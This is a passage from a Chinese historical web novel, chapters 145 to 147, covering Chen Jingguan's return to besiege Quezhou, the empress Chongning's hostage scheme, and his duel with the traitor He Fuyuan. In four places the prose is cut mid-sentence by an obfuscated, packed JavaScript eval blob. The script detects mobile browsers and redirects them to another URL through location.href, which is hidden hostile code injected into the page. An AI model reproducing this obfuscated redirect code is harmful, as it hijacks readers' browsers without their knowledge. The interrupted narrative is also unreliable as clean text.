“小渊,你可以被现实压弯腰,却永远不要去嘲笑还心存理想的人。他们不可笑,他们也不愚蠢。你们只是选择不同,你们没有高下之分。如果一个人能怀抱着纯白理想来到这世上,最后安葬于自己的理想中,或许他就是这世界顶幸福的人。” 江阮曾经真的祝福过陈京观能成为这样的人,可现实是他们就站在正反两面,他们终究会有一个人面对失败,而江阮不允许自己失败。 江阮不是想赢了陈京观,他只是赢。 他这辈子从出生起几乎没有赢过。 “你们要死我不拦着,人各有志,我敬你们是英雄。” 陈京观伏腰的瞬间,空气仿佛在他耳边凝结,他能听到的只有自己的呼吸声。片刻后,他起身,他没有再对俘虏的安排做任何指示,头也不回地离开了盛州。 离开时城门口的崔擎舟远远朝他招手,陈京观骑在马上笑着点头。 “崔将军,我们阙州见。” 崔擎舟应了声“好”,可等陈京观走远,他身边的副将用刀从背后将他的腰腹贯穿。 崔擎舟的眉头只在疼痛感上涌的一瞬微微皱起,随即他便舒展了自己的表情,他像是顷刻间明白了一切,随着而来的是久违的畅然,他用手滑过早已止不住血的伤口,他看着眼前的副将,轰然倒地。 “将军,我不能没有我的家人。” …… 崔擎舟被杀的消息在陈京观快到阙州城的时候由一个面生的谍子报了上来,陈京观听到后骑在马上一言不发,他身后的苏清晓看了他一眼,让谍子重复了一遍。 “你们走后不久, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357801|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔将军被自己的副将刺杀于盛州城门外。” “他的副将?”苏清晓冷笑一声,“那不是他自己选出来的人吗?啸龙营不是很信任崔擎舟吗?呵,果然能活到现在的没有一个好人。” “不是人人都能为那所谓的理想放弃一切的,谁都有家有口,他也只是不想死罢了。” 陈京观突然开口,苏清晓望着陈京观的背影道:“可无论如何,背叛就是不对的。” 陈京观转身,苏清晓从他的眼睛里水光闪烁,他便没有再继续这个话题,转身问谍子,“那我们留在城里东亭的兵呢?” “俘虏的东亭军悉数自尽于城中。” 谍子的话让苏清晓倒吸一口凉气,可转瞬他又不禁笑出声,陈京观瞧了他一眼,苏清晓只是淡淡道了一句:“这世道人是活还是死,从来都是由这件事的价值决定,而不是他本身。不可笑吗?” “可笑又能如何?那么多不该死的人死了,那么多该死的人却还活着,这本来就是世界的真正面目。走吧。” 陈京观拉动了自己的缰绳,他没有和苏清晓继续辩驳下去。 曾几何时他也问出过这样的话,对宁渡,对苏晋,对萧霖,他们都笑着没有给他回答。 此时此刻陈京观终于明白了,其实生死本就是无解的命题,他一直执着于跟着他送命的平远军是否获得了生的意义,却忽略了这一切的价值只有到事了终章才有答案,在此之前,那些人的名字或许被刻在未成形的丰碑上,又或许只是被沉默地埋在坟堆里,谁又知道呢? 陈京观不能像江阮一般给这些人看得见摸得着的好处,他便只能硬着头皮往前走,带着他曾经许诺下的美好未来往前走,他没死,一切就没有结束。 终于,陈京观又一次回到了阙州城门前。 “在此扎营,待明日一举拿下阙州城。” 经过盛州一夜突击后兵士大多人困马乏,得了指令的兵士像是松了一口气,他们解着身上沉重的铠甲,开口呼吸着没有血腥味的空气,在所有人都没有注意到的时候,陈京观自己一个人骑着马朝城门口走去。 如果一直有人在盯着他,那那个人此时一定发现了他。 陈京观的步子很慢,一路上目视前方走着,古人云“近乡情更怯”,陈京观觉得这就是他此时的最佳写照。 比起第一次像个愣头青一般带着兵直接堵在阙州城外,陈京观这次的计划显得成熟多了,可随着他想的越多,他也就越不能像最初那般心无旁骛。 盛州这一仗他明明胜了,他却一点也高兴不起来,跟着他的士兵大多安然无恙,盛州的重建工作陈京观嘱咐给了萧祺桓,这一切都很顺利,陈京观却突然没了心气。 那个在他面前自刎的士兵这些日总是出现在他的脑海中,他的嘲讽陈京观都记得,他最后说宁死也不要成为他的军功章,陈京观也记得。 陈京观一直想要胜利,他希望替父亲实现他没能实现的心愿,他也明白一将功成万骨枯的道理,可活生生的人真的成了他的垫脚石,他只觉得脚下一软,险些跪了下去。 在一切结束后,陈京观将获得什么?是高官厚禄,是位同辅君,是青史留名。 那跟着他的那些人呢?陈京观给不了江阮能给的东西,因为他不是皇帝。 “怎么一个人跑出来了?” 145.看杀卫玠(三) 苏清晓在营帐转了一圈没看到陈京观,一猜就是他自己跑到了城门口,陈京观笑着应了句“没什么”,苏清晓微微挑眉,“方才我的话又让你寝食难安了?你还真是和小时候一样,心事多的像个花季的姑娘。” 陈京观被苏清晓的话逗笑,嘴上强硬地挽回颜面,“谁说只有姑娘才能敏感多思,你这是瞧不起谁呢?” “是是是,倒是我狭隘了。我们席将军就不像你,她主意正着呢。” “我们?”陈京观不怀好意地看着苏清晓,“演都不演了?” “我可没想演,我大大方方喜欢她。” 陈京观撇了撇嘴,方才的阴霾被苏清晓三言两语吹散,他侧过身又看了一眼若隐若现的“阙州”二字,拉着苏清晓往会走。 “你可想过同她说?” 苏清晓摇头,“她知道。” “你已经说过了?” 苏清晓又摇头,“我知道她知道。” 陈京观赏了苏清晓一个白眼,“合着一切都是凤麟先生的一厢情愿。” 这回苏清晓没有应声,陈京观扭头看他,望见他难得失神。 “我只是觉得她不该被庭院深深锁住,我喜欢看她在驰骋疆场,而我给不了她草原。” “你又怎么知道她想要什么?” 陈京观的问题惹得苏清晓哑然失笑,“也对,比起将她的人锁在庭院中,我更不该将她的思想锁住。” “她同我说过,如果真的能遇到心上人,她会选择过寻常人家的生活,她觉得平凡没什么不好。” “当真?” 陈京观点头,“席英从来说过她要为谁而活,她救我、追随我,只是因为我曾经救过她,而恰巧在我身边她能展现最大的能力。她有时候比我透彻,比我活得明白。” 陈京观的话如同四月的一场春雨,苏清晓的喜悦顺着他的心蔓延到他身体的每一处,陈京观笑他怀春,他难得没有驳回去,沉默地应下了。 回到营地再见席英,苏清晓的动作放开了许多,陈京观识趣地拉走了萧祺栩,带着他到旁边的空地上。 “哥,师父这是怎么了?” 萧祺栩一步三回头,陈京观笑着摇头道,“他在努力向你席英姐姐献殷勤。” “我看得出来,我是说……” 萧祺栩的话说到一半突然顿住,他恍然大悟般拍着脑袋,“我师父开窍了!” 陈京观笑意渐浓,“你也看出来了?” 萧祺栩点头如捣蒜,“师父表现得很明显了,我觉得旁人都能瞧出些端倪。我还想着等我们进了阙州我就给他们保媒拉纤。” “小栩。” 陈京观出声叫着萧祺栩的名字,萧祺栩敛了敛笑意问:“怎么了?” “那日你可看到皇椅了?” 萧祺栩点头,陈京观就继续问:“你可想坐?” “想。” “即使那皇椅下血流成河,你也想?” 这次萧祺栩回答的没有那么干脆了,可片刻后他依旧点头,“我不坐,总有人要坐。哥,你觉得江阮想要的世界会到来吗?” 陈京观没有说话,萧祺栩却应道:“我觉得不会。” “为何?” 萧祺栩顿了顿,他随手捡起地上的落叶,“人为什么会争皇位,因为大多数人都得不到,它将权力集中在一个人手里,让其他人平等地向它朝拜。皇帝是所有人的靶子,可也正因为存在这样一个靶子,这天下的人才有了可以反抗的目标。有时候和谐不只是简单的和平,它还是冲突的平衡。” 归根结底,因为人是贪心的。没有人可以对手中拥有的东西感到知足,得不到的才是最好的。 或许世间其他东西都可以分享,唯独权力不可以。 权力是上下间的臣服,是高低间的尊卑,权力来源于别人得不到而你却可以拥有,那是人的欲望得到满足后产生的感觉,它是虚幻的,却能被每个人感知和追求。 “这番话说得不错。” 萧祺栩羞涩地挠头,眼睛往苏清晓的方向瞟,“这些都是那日在盛州行宫师父告诉我的。我被他狠狠骂了一顿,不过我觉得他是对的,他的话我愿意听。” “他骂你做什么?” 萧祺栩别扭地晃着身子,陈京观也没有再追问,他相信苏清晓,也相信他选的皇帝。 不过萧祺栩的话倒是让方才困住陈京观的问题得到了答案,他喜欢深究一切背后的因果价值,却忽略了有些事情的价值并不是简单的一和零。 从前陈京观的世界非黑即白,他不允许人生中有灰色,他觉得白是那么纯净,除却真正的白,其余的一切都只是黑色的不同浓淡。 可萧祺栩说到了一个词,和谐,陈京观好像明白了“灰”这个颜色的意义。 白色是一尘不染的,可它的不可一世也让它失去双脚,仿佛只要将它放到尘世就一定会沾染上罪恶,就好像没有人能做彻彻底底的好人。 人是活物,是会被世间一切左右的,人因为情感而变得生动,却也注定了人不会是纯白的,喜怒哀乐本就带着不一样的颜色。 成为一个灰色的人,陈京观笑着叹了口气,这或许是他能为自己找到的唯一一条生路。 那天夜里,依旧是四月一个寻常的夜晚,在阙州城外的桦木林中,一群穿梭的身影如同经历过冬夜后苏醒的夏虫,他们悄无声息靠近城门,万人军队被齐腰的草叶掩住。 三年前为席英提供一片遮蔽的草丛如今依旧为她遮掩,只是这次她手里握着刀,不再乞求能有从天而降的人拯救自己于水火,她盯着城门前早已看不出痕迹的空地,她的目光在夜色中熠熠生辉。 时间就好似一场轮回,又带着她回到了一切的起点。这次,轮到她去拯救曾经的自己了。 “准备。” 陈京观的声音在草叶中回荡,他望着物是人非的城门,竟然生出一丝幻想。 如果夏衍还在,他会在城墙高处看到自己吗?他还会红着脸叫自己“少将军”吗? 陈京观手里的刀紧了紧,而他身边的苏清晓无意间碰触到了藏在胸前的香囊。那半块玉好似隔着布料触碰到了他,苏晋的信已经泛黄,此刻就与那块玉躺在一起。 如果此战顺利,他真的杀进了崇明殿,苏清晓好希望能在里头看到苏晋,他好想对苏晋说一句“对不起”。 阙州,他们终究又回来了。 …… “城外敌军突袭,我军将领死守华安门,可对方兵力远在我军之上,还望陛下早做定夺。” 崇宁抬眸瞥了眼前的人一眼,手上的黑子稳稳落在棋盘中央,“贺福愿,我以为你和江阮待了这么久,应该有所长进了,怎么他的聪明劲儿你一点也没学到?离开我,你倒变得更懦弱了。” 贺福愿目光闪烁,半句话也说不出,而他背后跟着的副将在崇明殿外来回踱步,只等着崇宁能给个准信。 这场仗他们打不赢,且不说陈京观拿下盛州后风头正盛,犹如当年屡战屡胜的东亭军,只说凤翎军这区区两万人要如何同数倍于他们的西芥铁骑较量。 此时仍在坚守的士兵不过是在等崇宁松口,等她将好不容易得来的皇位让出来。 贺福愿也是如此。他不知道崇宁在坚持什么,可他没有立场让崇宁投降。 当日江阮去见崇宁时特意叫上了贺福愿,贺福愿明白他的心思,江阮笑着说“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360778|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老熟人来了,你不见见吗”,贺福愿差点将后槽牙咬碎。 他如今是南魏的罪人,是南魏上至七十老汉下至七岁稚童嘴里的卖国贼,自从崇州易帜,贺福愿就再也没有离开过崇州军营半步。 可他记得当日霜栽同他说的话,他一直在等着新帝登基的那一天,是那虚无的未来支撑他在谩骂和鄙夷中活到了今日。 他的梦,却在萧祺枫即位,转头就将广梁送给了江阮的时候破灭。 贺福愿觉得这天下最没有权力去斥责少主荒谬的人就是自己,因为这般行径他也做过。在他手里,南魏丢了第一座城池,他是引爆这一切的火星,可他还是觉得可笑。 这就是他盼来的新主?这就是他辗转反侧一夜后做出的选择?他害死了温书让,害死了陈京观,害死了让他为数不多感觉这南魏还有救的人,等来的却是萧祺枫。 从前贺福愿觉得崇宁手腕太软,总是将皇权当作世家利益平衡的工具,他不明白都已经是长公主了,都已经是南魏实际的掌权人了,崇宁为什么还会受制于人?他以为的权倾朝野应当是说一不二,应当是铁律酷政,他觉得崇宁浪费了那个位置。 可离开了崇宁的贺福愿终于看到了崇宁苦心经营的南魏是多么易碎,南魏从根子上就坏了,不是一个新的君主就能救的了的。 那一刻贺福愿的绝望前所未有地压倒了他,甚至比他听到陈频死了的那一日还要来势汹汹,他发觉自己的想法是多么幼稚。 假借他人之手获得的喘息,能得到的只有假道伐虢的结局。 贺福愿不知道当初的自己为何就那般轻信了霜栽的话,是因为她说自己也是南魏人吗?是因为她说功成名就之时不问来路吗?亦或者是贺福愿本来像只没头的苍蝇在乱窜,偏偏江阮发现了他,精准拿捏了他的踟蹰。 贺福愿再见到崇宁时,听着她一字一句说出,“你把阙州还回来,我来做皇帝”,那一刻他竟不知道心中是愉悦更多还是嘲讽更甚。 兜兜转转,他从前放弃了的主子又变了他的主子,他从前看不起的崇宁,成了这南魏真正的君主。 “贺将军,既然长公主要临政,她身边自然是少不了得力干将的,你与她本就相熟,不如回去助她一臂之力?” 江阮说这话的时候崇宁第一次正眼看贺福愿,贺福愿却没敢看她,只低下头应了声“好”。 江阮此举无疑是将他放在火上烤,他明白自己被江阮踢出局了,他已经没有利用价值了,而把他放在崇宁身边,是江阮为他寻到的最后一处用武之地。 他的存在,不过是为了恶心崇宁。 “贺将军,好久不见。” 崇宁轻笑一声朝贺福愿走过来,贺福愿“扑通”一声跪倒在地,他听到崇宁笑着道:“也不必如此,若没有你当日的所作所为,温书让那老东西就不会死,我倒要谢谢你。” 崇宁伏下身作势要扶贺福愿起来,可他的膝盖却似长在了地上。崇宁的话如同千百根长钉将他万箭穿心,让他失去了所有力气。 “走吧,我们时间不多了,回去收拾完小的,我们还有事情要做呢。” 那时候贺福愿没有听懂崇宁的意思,直到崇宁的马车在盛州城破前一日驶出,他在外接应,他知道崇宁彻底不要萧祺枫了,她像扔垃圾一样扔掉了那个累赘。 原来崇宁做事这般决绝,贺福愿晃了神,从前他以为的斡旋不过是崇宁还被那道身份的枷锁束缚着,当她放弃了心中的顾虑后,她比任何人都果断。 此时坐在他面前的,是南魏历史上第一位女帝,年号德丰。 “怎么,你还打算再把这南魏的城池让出去一次?贺福愿,你是不是跪久了,站不起来了?” 146.看杀卫玠(四) 崇宁的嘲讽如同她身上的纱幔,她走过贺福愿的身边,那若有似无的轻柔滑过贺福愿的脸,她感觉到地上的人怔住了,不禁失笑道:“贺将军,您如今是南魏的最高统帅,你知道上一个得此殊荣的是谁吗?” 崇宁顿了顿,她俯下身直视贺福愿的眼睛,“是陈频。” 崔擎舟直到死,都依旧只是啸龙营的将军,他还是没有坐到南魏大将军的位置上,他的尸首被草草用席子敛住,因为没有人能给他收尸了,他便被扔到了某个不知名的角落。 贺福愿的眼神慢慢失焦,他怀里躺着他想了一辈子的虎符,可真当那沾了血的虎符从崔擎舟手里递到他手心时,贺福愿却闭上了眼。 “崔擎舟的死我一点也不意外,他这辈子都只是为了能延续陈频的精神而活。当初陈频从人堆里选中了他,便已经给他定下了命数。可你不一样,”崇宁拍了拍贺福愿的脊背,“你有得选,你也选过了,你即便此时给陈京观打开城门,你也不能成下一个崔擎舟。” 贺福愿手上的血,洗不掉了。 崇宁的呼吸吞吐在贺福愿耳边,贺福愿只觉得手脚冰凉,“我会让他一个人进殿来,到时候贺将军是要继续做自己的美梦,还是要还了温书让那条命,您自己选。” “他不可能独自上殿。” 崇宁眉眼微皱,像是在表达对贺福愿这句话的反对,“你忘了?我们还有薛雯昭在手里呢。兴安王可是大孝子,若陈京观置他的母亲于不顾,他还会听命于陈京观吗?如果我手里握着薛雯昭的命,他真的能置若罔闻?纵使他此时不反,可这根刺也会卡在他们中间一辈子。” “我得不到的东西,我也不会允许别人得到。” 崇宁说最后那句话时声音突然降了下去,就好似她只是说给自己听的。这些日她只要醒着,没有一刻不在想应对之法,现在她能做的不多了,可她还是不愿意束手就擒。 当然,崇宁也想过失败,但直到失败来临前,她都不会低头。 早在萧霖入葬的那天,崇宁就派人囚禁了薛雯昭。她明面上给薛雯昭封了太妃,让她移居保宁殿,实际上是将她偷偷送到了阙州城郊的道观。 薛磐的人来找过一次薛雯昭,那时崇宁以太妃伤心成疾需要静养为由搁置了薛磐的请求,薛磐想着先安顿好萧祺桓再接薛雯昭也不迟,谁知道后来广梁被拱手让人,薛磐和萧祺桓忙得焦头烂额,接薛雯昭去槐州的事情就被所有人忘记了。 崇宁进崇明殿的那天,南边一辆马车紧随其后进了城,车上的薛雯昭已经对自己的处境有了猜测,她身边的宫女全被崇宁换掉了,每日的饮食起居都由人看着。 薛雯昭知道自己成了崇宁威胁萧祺桓的道具,她连死都做不到了。 贺福愿心口的话被崇宁堵了回来,他再抬头看崇宁时,眼睛里第一次出现恐惧。 “陛下,”贺福愿艰难开口,“您觉得陈京观死了,一切就都结束了吗?” 崇宁被贺福愿的问题问住了,她故作思索般歪着头,那双略有疲态的眼睛噙着笑意,她点了点头示意贺福愿继续说。 “如今六万西芥兵就在城外,没了陈京观,他们当真能甘心掉头回去?” 在贺福愿与崇宁拉扯同时,城外的士兵如潮水一般涌向阙州,城内被崇宁带回来的大臣三三两两聚在一起,这也是他们第一次感觉到恐惧。他们知道自己也是崇宁的人质,可他并不觉得陈京观会在乎他们,会对他们手下留情。 当日陈频出兵他们一言不发,当日萧霖降罪陈频他们一言不发,当日陈京观被困朔州他们一言不发,当日丛选死,苏晋死,甚至是萧霖死,他们都一言不发。 因为他们还活着,这就够了。 当初陈京观自以为看透了天下人心,明白了百姓所谓敬奉君上不过是在敬奉太平,他们不在乎谁做皇帝,可他偏偏没看透天子身边的人。 如果说皇帝是国家的蠹虫,那他的血就饲养着坐下的群臣。 “群龙无首这个词贺将军可听过?牵制住陈京观,他就成了我们号令西芥军队的旗帜。届时我们会获得重新和江阮,和天下谈判的筹码,你觉得若我们拖住西芥的主力军,北梁那个小皇帝还能坐得住?” 战争,从来不是两个国家的事情。俗话说战场上瞬息万变,说的就是这盘肥肉,吃的是两个人,可盯着的眼睛却数不胜数。 贺福愿只觉得后脊发凉,他像是泄了气一般软了下去,崇宁望着他这副样子冷笑了一声,却什么也没说。 “快些去吧,你就不想再见见陈京观?” 贺福愿没应声,只是沉默地扶着地站起来,他走到门口时瞧见副将掀开帘子用表情问询着他结果,他摇了摇头,“去请陈京观,让他一个人进城,就说太妃娘娘有请。” 陈京观听到这句话的时候,城外的战事如火如荼,他望着源源不断上来送死的凤翎军,心中五味杂陈。可他的心思没有影响他出刀的速度,脸上的热血刺激着他的神经,他已经养成了下意识挥刀的习惯,虽然他觉得这并不是什么好事。 “哗——” 城门突然被打开,里面的守军一列排开用尖刀阻拦着城外要趁势进攻的敌人,陈京观看见一个人缓缓朝城外走来,他停在了守军身后,努力朝陈京观的方向喊道:“太妃娘娘有请你军首将入殿。” “太妃,你们可曾听过太妃?” 陈京观听到身边的西芥兵交头接耳,而他在听到这句话的一瞬就反应过来了。 当初苏清晓说薛雯昭不见了,那时陈京观就疑心会有今日这出戏,没想到崇宁当真是黔驴技穷,连这样的手段也用上了。 “只请了我一个人?” “对,请您一个人进宫。” 陈京观冷笑一声,他要下马的时候苏清晓拉住了他的胳膊,“你想好怎么应对了?” 陈京观摇头,“要想的人是你,你才是未来的帝师。” 说罢陈京观头也不回地朝城中走,苏清晓却被他这句话怔在了原地。 所以陈京观在一开始就想到了会有今天,他把萧祺栩托付给了苏清晓,也把南魏托付给了苏清晓,这样他往前走的步子就没有负担了,他身后的人也就没有负担了。 苏清晓暗骂了一句,可握着刀的手不自觉收紧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367685|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他从来都不是个会受制于人的,小时候下棋他都没有被人围起来的时候,这次他却落进陈京观的圈套。 陈京观的身影被吸纳进守军阵中时,大门再次合上,所有人被突如其来的变数打乱了阵脚,门前鏖战的两军士兵都失了方向,他们彼此试探着,却又谁也没有再继续进攻。 陈京观听到外面的声音消失了,他的步子慢了些,跟在他旁边的人不忍回头看了他一眼,陈京观勾着嘴角问:“敢问兄台大名?” “张冲。” 陈京观了然地点头,又继续问道:“是新募进来的?” 张冲转过身没有再看陈京观,“不是,以前是巡防营的。” 陈京观的步子顿了顿,“当时阙州沦陷,你活下来了?” 这次张冲没有立刻回答,陈京观也没有再继续问,他其实只是想知道夏衍最后离开时可还痛快。 “我逃了。” 张冲冷不丁开口,陈京观还以为自己听错了,他看着张冲,听到他又说:“家父鸿胪寺少卿张芳园,长公主,不,陛下的人。我们很早就得了消息,跟着皇家的马车出了城。” 张冲说话时陈京观听不出一点情绪,可陈京观还是从他刻意躲着自己的侧脸看到他微微闪动的睫毛,以及呼之欲出的盈光。 “当初留下的人都死,包括你的那位夏统领。” 张冲说这话时终于又忍不住看了陈京观一眼,陈京观对上他的眼睛时,两个人的心都停了一拍。 “他,怎么死的?” “我不知道,但是他带着兵守了很久,应该遭了不少罪。我们进城的时候听到有百姓议论,我听到了他的名字。” 陈京观恍惚地点头,随即又问道:“你可找过他妹妹?我派人寻了很久也没有消息。” 张冲摇了摇头没说话,陈京观意识到自己情急之下忘了身份,便呐声低着头走路。可张冲突然站住脚,“您就真的不怕死吗?敢一个人进来。” 陈京观随着张冲的动作停下步子,他轻笑着答道:“要说死,我死过两回了,可阎王都没收我,又将我放了回来。从前有个人说我命好,我只觉得他在开这天下最大的玩笑,后来我发现我确实命好。” “果然,承天命者必载天道,我父亲没说错,你确实不简单。” 张冲的话里陈京观听出了一丝戏谑,可他没有在意,继续往前走。 “可如果每次活下来的都只有你一个人,你还会觉得你幸运吗,你还会觉得这是一件好事吗?” 张冲望了陈京观一眼没有再说话,陈京观也笑着摇摇头掩住了声气,两个人行至崇明殿前时张冲止住了步子。 “再往里我就进不去了,你自己保重吧。” 陈京观道了声谢作势要往里走,张冲的声音突然响起,“说实话,我希望你活着。夏衍是我在巡防营最好的兄弟,他说你是他这辈子最敬重的人。” 陈京观朝后摆了摆手,一句话也说不出,他的眼眶慢慢红了,在转角处他深吸一口气调整自己的呼吸。 他没想到还有人记得夏衍。 “都到这了,还在等什么呢?” 147.看杀卫玠(五) 陈京观抬头,崇宁就站在长阶上居高临下看着他,她那一身华服当真璀璨,午后的日头给她渡了一层金光,陈京观仰着头看她,崇宁微微挑眉继续道:“不愧是陈频的儿子,胆子就是大。” “不愧是萧家的女儿,就是有魄力。” 陈京观用话语回击着崇宁,他也不知道自己为何要逞着一时的口舌之快,可面对崇宁时他下意识就是要赢。 崇宁身上背了太多人命,此时她的黄袍越耀眼,那夺目的光就越让陈京观觉得眩晕,说起来这其实是他们第一次正面交锋。 崇宁比陈京观想得要苍老许多,又或者这三年对她来说也度日如年,陈京观上下打量了她一番,迈着步子在崇宁的注视下往上走。 “陈京观,你当初是怎么活下来的?” “您是指哪次?” 陈京观说完抬头对着崇宁嫣然一笑,崇宁无奈地摇头道:“你还真是一点也不谦虚,两次欺君之罪被你说的好像是家常便饭。算了,我对你的过去没兴趣了。” 陈京观撇了撇嘴,在即将与崇宁面对面时,他停下步子仰望着崇宁。 “你就这么想杀了我?为什么?” 崇宁斜歪着头睨了陈京观一眼,冷笑一声转身大步朝崇明殿内走。陈京观没有理会她的薄待,只是随着她一起笑,紧跟着她的步子一步不停。 “说实话,你本来就不该活着。”崇宁微微侧身,陈京观低着头没看她,“当初我替萧霖选的皇后是你母亲,偏偏她与你父亲一见钟情,我这才选了你小姨。温浅远没有温润聪明,不过好在她听话。就是可惜了,你父亲的出现断掉了我拉拢温书让的机会。” 偌大的崇明殿殿内,一切物是人非,只剩下崇宁的声音四处回荡。 崇宁喜欢赤脚在地上走,此时通往书房的地上铺着山羊绒毯,那柔顺的质地陈京观就是隔着靴子也好像能感受到一二。 陈京观抬头看了崇宁一眼,崇宁自顾自开始讲故事。 “不过话说回来,当初在苏扬那里是我一眼看中了陈频。” 崇宁转身笑着朝陈京观扬了扬头,“他是苏扬那群穷学生里为数不多出身官宦世家的,可他没有染上宫里的脂粉气,他坐在那里就是清清白白一张纸,他本该是承载我雄心壮志的最好容器。” ”可惜啊,苏扬喜欢的人我都不喜欢。” 崇宁的尾音里,陈京观莫名听到了一丝遗憾,他望着崇宁的背影慢慢佝偻下去,只听她继续说:“可能都是命吧,明明是个丫鬟命,偏偏又有个公主名,一辈子高不成低不就,一辈子被人猜忌背叛,一辈子活在自我否定里。” 陈京观知道崇宁说的是她自己,两个人行至书房时,崇宁顿身站在帷幔里,她与陈京观刚巧隔着一层若隐若现的浮光。 “你说,如果当时本就是我做皇帝,会不会不一样?” 崇宁顿了顿,陈京观看着她慢慢用双手拂过前襟的龙纹,“我其实不比他差的。我只是被世俗规训却又不自知,反而自以为是地去和世俗对抗,到最后,亲手把自己葬送给了世俗。” “陈京观,”崇宁朝后退了一步,“如果我此时愿意和你握手言和,让你完成你父亲没做完的事情,你愿意吗?” 陈京观没有动,崇宁的笑声从帘子后面传出来,“我不比你那个山沟里长大的储君差,你怎么不信我呢?” 崇宁嘀咕着,好像是说给自己听的,陈京观叹了一口气,“我信。” 崇宁像是没听清陈京观的话,她不自觉朝前凑了凑,却又听到陈京观说:“可这一切太迟,你回不了头了,我也是。” 如果应下崇宁的邀请,陈京观过去这十几年就成了一场笑话,那些跟着他送了命的人就成了一场笑话,陈频,也就成了一个笑话。 陈京观承认崇宁的政治才能,可她必须死。 崇宁刚被挑起来的热情又熄灭了,她当然没觉得陈京观会应了她,可她也没想到陈京观说他信。 年少时在后花园看到苏扬,崇宁以为自己一辈子定了,他们一定会成为旁人眼里的神仙眷侣,可苏扬从来没想过要给崇宁一个名分。 后来崇宁将自己委身于老丞相,用自己满身伤痕换萧霖一个帝位,她又以为自己一辈子定了,可苏扬给她扣上了红颜祸水的帽子。 再后来她亲手在陈频降罪的诏书上落下宝印,看着苏门三子落败,崇宁以为这次总该结束了吧,结果她发现自己回不了头了。 她一开始真的只是想让苏扬救她出了这深宫,仅此而已。 “算了,我又在这同你浪费口舌做什么。” 崇宁暗暗自嘲,转身要往里走。陈京观犹豫片刻动了步子,可他刚要跟着崇宁进书房时,突然右边闪过一个人影。 那个人影速度极快,陈京观感觉有冰冷的锐器擦过他的脖颈,他仰身朝后闪过,下一秒从靴筒里抽出一把匕首。 眼前的人蒙着面,身形看上去像是军营里待了许久的,陈京观侧身望书房的方向,见崇宁先一步关上了门,一个虚影留在门上。 “想让我死,也不是非要用这种手段。” 陈京观早就有所预料,这大殿他们一路走过没有一个侍从,这应当是崇宁特意为陈京观选的殉葬场,而眼前的人是崇宁选出来的刀。 陈京观冷笑一声飞扑向前,“你是谁?” 刀光剑影间陈京观厉声问,眼前的人明显顿了一下,陈京观趁势一脚踢中那个人的腹部,刺客吃痛地冷哼一声,立刻调整状态又冲了上来。 你来我往不知道多少回合,殿内只剩下两人的喘息,陈京观大病后体力大不如前,苏清晓甚至笑他是个病秧子,此时陈京观的旧伤隐隐作痛,胳膊上被划开的口子冒着血。 不过眼前的人也没好到哪里去,陈京观虽然力气远不如以前,可他的速度还是更胜一筹,刺客的胸口被陈京观用刀刺中,若他拿的是称手的长刀,这一场较量应该已经结束了。 “我再问你一次,你是谁?” 还没等刺客作出反应,只听书房里传来一声尖叫,屋外的两个人一齐朝里望去,但显然刺客知道书房里是谁,他趁着陈京观出神的瞬间再一次发起进攻。 这一次陈京观没来得及接住刺客的刀,他只得向后侧身,刺客的动作穷追不舍,又追着他跑了两步。 忽然,“叮”一声后刺客的身上掉下来一个形似腰牌的东西,陈京观眼疾手快折身去捡,可捡到的时候两个人都止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378024|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住了动作。 “贺福愿。” 陈京观冷冷叫着眼前人的名字,“我终于找到你了。” 一瞬之后陈京观像是换了个人,他握着手里的腰牌向前冲刺,一个飞身跃起用膝盖猛击贺福愿的脑门,贺福愿躲闪不及重重接下来陈京观的动作,他连连后退,稳住身后扯下了脸上的面巾。 “少将军。” 被陈京观识破后的贺福愿在动作上转攻为守,陈京观能察觉到他的变化,可此时在他眼里贺福愿就是温家的废墟,贺福愿的一呼一吸都扯得陈京观心痛。 “为什么!他提起你的时候从未说过你的不是,贺福愿你告诉我为什么!” 陈京观疯了一样冲上去,他看准时机猛击贺福愿的腕部,贺福愿的刀应声落地。陈京观几乎没有犹豫,他探身弯腰的动作一气呵成,贺福愿的刀抵在了贺福愿的脖子上。 